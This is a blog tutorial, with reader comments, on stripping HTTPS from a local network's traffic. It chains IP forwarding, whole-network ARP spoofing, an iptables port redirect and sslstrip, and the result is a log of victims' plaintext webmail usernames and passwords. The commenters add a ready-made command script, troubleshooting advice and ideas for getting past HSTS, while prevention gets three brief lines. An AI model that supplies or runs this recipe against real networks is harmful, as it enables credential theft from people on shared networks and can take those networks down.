Break SSL Protection Using SSLStrip and Backtrack 5
Type : Tutorial
Level : Medium, Advanced
Some people asks "Are you sure SSL(Secure Socket Layer) port 443 can be hacked and we know the password sent over the network??"…..how to break ssl protection using sslstrip?
What is SSL?
For more information about this, you can see my previous tutorial about SSL and HTTPS.
actually if you see my explanation about SSL in my previous post, when we try to break the encryption it’s a little bit hard to break, but here in this tutorial I will explain how to break the SSL encryption without breaking the SSL encryption using Man in the Middle Attack 
.
Man in the Middle Attack
What is Man in the Middle Attack? I also have already write down about this in my previous post about "Hacking Facebook Using Man in the Middle Attack"
Requirement :
1. Linux OS
2. Arpspoof
3. IPTables
4. SSLStrip
5. NetStat
All of this requirements maybe have other dependencies with other packages, I suggest you to use Backtrack Linux for more easier to do this tutorial, because all of the requirement package already installed inside Backtrack Linux(except SSLStrip).
Perform the Attack – Man in the Middle Attack
1. Set your Linux box to make it can forward every incoming port(enable port forwarding).
echo ’1’ > /proc/sys/net/ipv4/ip_forward
This code will let your Linux Backtrack have ability to forward every packet that was not intended for your machine.
2. Know your network gateway
netstat -nr
For example i’ve already know that my gateway address is 192.168.8.8
3. Use ARP spoof to perform Man in the Middle Attack
arpspoof -i eth0 192.168.8.8
a. Change "eth0" to your network card that currently connected to the network. Usually it is eth0 or wlan0.
b. Change "192.168.8.8" to your network default gateway.
c. In this tutorial I use arpspoof to entire network. Be careful if your network have a large user connected to it, because it will crash your network and bring your network down.
SSL Strip
Created by Moxie Morlinspike who provides a demonstration of the HTTPS stripping attacks that presented at Black Hat DC 2009. It will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial. -Taken from author website-
This all happens on the fly, and is practically will invisible to users. The only way to notice is by checking the URL in the address bar where normally it would display HTTPS, it will now display HTTP instead.
Install SSL Strip (optional)
1. Download SSL Strip
2. tar zxvf sslstrip-0.9.tar.gz
3. cd sslstrip-0.9
4. python setup.py install
Executing SSL Strip Attack
1. We need to set up a firewall rule (using iptables) to redirect requests from port 80 to port 8080 to ensure our outgoing connections (from SSL Strip) get routed to the proper port.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
2. After finished set up iptables, the next step we need to redirect all network HTTP traffic through our computer using ARPSpoof (don’t forget to enable IP forwarding)
echo ’1’ > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 192.168.8.8
3. When everything running well, you will see that ARPSpoof capturing network traffic, then the next step you need to start your SSL Strip by opening new terminal(CTRL+ALT+T)
sslstrip -l 8080
"-l" tells the system to listen on specified port.
Above picture tells that SSL Strip already running and waiting for victim opening SSL URL such as (https://mail.google.com; https://mail.yahoo.com; etc)
As a victim I will try to open https://mail.live.com. When I open the page, what I see is looks like below picture
The URL changed into HTTP.
4. After SSL Strip capturing enough data, to stop ARPSpoof and SSL Strip just hit CTRL + C. After you stop it, the whole network will be down and cannot be accessed for a while(it shouldn’t take long time), this can happen because ARPSpoof didn’t automatically repopulate the ARP tables with router proper MAC address.
5. Inside the SSL Strip folder there will be a new file created "sslstrip.log" that stores all information that already captured over the HTTP protocol and even the HTTPS. Just take a look to the file using your favorite text editor. Below picture is the content of my sslstrip.log :that already captured victim data when they open https://mail.live.com.
You can see the plain data of username and password there.
Prevention of SSL Strip Attack
1. If you are on public network (internet cafe, unsecured hotspot, etc) minimalize login into your personal account.
2. Use SSH Tunneling (You can see the tutorial here).
3. Keep your eyes open.
This fake URL address
Different with this one 
Remember This !
Be wise to use this application, and don’t get shocked if this application also can help you go to jail faster if you use for an unintended purpose by law.
Regards : Vishnu Valentino
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Written by Vishnu Valentino.
Founder of hacking-tutorial.com. Love PHP, offensive security and web. Contact him at me[-at-]vishnuvalentino.com
See all posts by v4L || Visit Website : http://www.vishnuvalentino.com
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36 Responsesto “Break SSL Protection Using SSLStrip and Backtrack 5”
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Its done check this out http://www.ehacking.net/2011/06/crack-ssl-using-sslstrip-with.html
Thanks for the article, first time seeing your site. I would love to contribute more in the future.
Thanks for the informative post.. and thanks for adding my comment to the blog.
It does'n work in google crome
#saurabh
Oops…I haven’t try it in chrome, anyone have try it in chrome?
because in my opinion, this sslstrip will act as man in the middle attack that unmask the https into http…maybe that chrome use extension like this https://chrome.google.com/webstore/detail/lgpkjjingioekjianemgdobchenebhek?
and youtube also doesn't buffer the video
Thanks Vishu i run an update/upgrade and it works now. can you give a little favor i know this is the wrong forum but if you like to answer my question? Im having a trouble in sslstrip its updated and I dont think i must download a newer version of sslstrip because when i updated backtrack it comes along (new version) i think. my problem is that when i type sslstrip -l 10000 it says sslstrip:command not found? its not found?but its installed and its updated do i have to enable it or something cant get it?pls help me vishnu.hoping for your response
Read more : http://www.hacking-tutorial.com/computer/how-to-set-up-armitage-in-backtrack-5/#comment-2595
#chard
you should go to sslstrip folder….. try to search it by using
whereis sslstriporsearch sslstripcommand and run it from there.Now I've had issues in the past with sslstrip on backtrack5. I can never get it to capture data. I've used all of the recommended changes. All of the commands have been followed to the letter. Yet still there is nothing. Now I can perform MITM attacks all day. I just can't get sslstrip to work. SMDH!!! What am I doing wrong????
hi, i tried everything in this post, even tried different posts but i cant get the sslstrip program to capture anything, it runs fine, i have set my iptables and ports, arpspoof’s working and i also use ettercap, but when i get to the point of actually getting the packets i get nothing, i just get this:
“sslstrip 0.9 by Moxie Marlinspike running…”
and it doesnt capture anything. Any ideas??? Im using backtrack 5.
#Amnesiac
In which network you run it?
after entering netstat -nr there's no gateway output, it only say Keep ip routing table gateway etc.
#Dorky
maybe you haven’t set your gateway yet…
can u tell me how to set it, i just follow the echo '1' command then type netstat -nr and then all is blank
#Dorky
Something like
route add default gw 192.168.1.0sslstrip v0.9 has errors in it, go back to v0.8 or v0.6
I cant get the iptables comand to work. It returns the error:
iptables: No chain/target/match by that name
(I booted from the Backtrack5 CD)
#hueyii
Did you already configured your network address?
try run
iptables -Lto list the tablei have successfuly run sslstrip, if i bring my laptop to a wifi area will it sniff automaticaly?
#Dorky
No you can’t, you should have wi-fi card that support promiscious mode…
Since I posted the question, I have installed BT5 to my hard drive. I have made no modifications. When I list iptables it looks like nothings configured?
root@bt:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Do I need to configure iptables first?
I created basic rules with iptables. Now iptables -L returns:
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp – anywhere anywhere state ESTABLISHED
ACCEPT udp – anywhere anywhere state ESTABLISHED
ACCEPT icmp – anywhere anywhere state RELATED,ESTABLISHED
DROP all – anywhere anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp – anywhere anywhere state NEW,ESTABLISHED
ACCEPT udp – anywhere anywhere state NEW,ESTABLISHED
ACCEPT icmp – anywhere anywhere state NEW,RELATED,ESTABLISHED
but I still get the same error
oops. I had a typo in the iptables command.
Thx
It worked. Thanx. One thing to note is that with backtrack5 I had to use the following procedure. It's the same but there were differences in the sslstrip location as well as the resulting sslstrip.log
echo 'turn on ipforwarding'
echo '1' > /proc/sys/net/ipv4/ip_forward
echo 'the next line spoofs the subnets default gateway'
arpspoof -i eth0 192.168.255.254
echo 'Run this in a seperate console. It will redirect packets received on port 80 to port 8080 where sslstrip will be listening'
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
echo 'Start sslstrip on port 8080'
python /pentest/web/sslstrip/sslstrip.py -l 8080
echo 'When finished, use ctrl-c to kill arpspoof and sslstrip. Look for what was captured in sslstrip.log. I found this in the root folder'
i am using bt r2 with vmware and this is not saving in data in sslstrip.log
#mukul
hmm…when you run sslstrip, the logfile should be saved inside the folder you run the sslstrip application.
I have the same Mukul's problem. I am using BT R2 with VMware and this not saving in log data. I try to create a new logfile (such as abc.log) but it's a empty file. I have the Virtual Mechine use BTR2 and my laptop uses Win7. I try to break ssl on my Win7 laptop, but it's successful. I can not access to the https on my laptop when arpspoof and sslstrip are runing on VM. Can you give me any advice?
#Bobby
Is there’s any error messages appear in your sslstrip.log?
thanks for the tuts man
#Endi
You’re welcome
Unfortunately not such a big security issue anymore since HSTS, https://www.owasp.org/index.php/HTTP_Strict_Transport_Security
you found anyway to circunvent this?
#Stephan
but out there still a lot of users won’t update their browsers nor O.S, maybe for some vendor they already applied it, but not whole user migrate to the new one 
Have no idea yet
I don’t think it’s hard to get around. They recommend using 301 redirects, which already can be exploited by sslstrip. I’m pretty sure SSLStrip could be modified to take out the HSTS header because that would be sent insecurely as well.
dude, when i type ipconfig ..
it show something like this ..
No command ‘ipconfig’ found, did you mean:
Command ‘tpconfig’ from package ‘tpconfig’ (universe)
Command ‘iwconfig’ from package ‘wireless-tools’ (main)
Command ‘ifconfig’ from package ‘net-tools’ (main)
ipconfig: command not found
any solution ??
it should be
ifconfig or ipconfig
ipconfig works only in windows ..
I have tried lot of sslstrip commands but still no log in sslstrip.log. My card can sniff pics using driftnet and crack wpa2 keys but no log after running sslstrip help!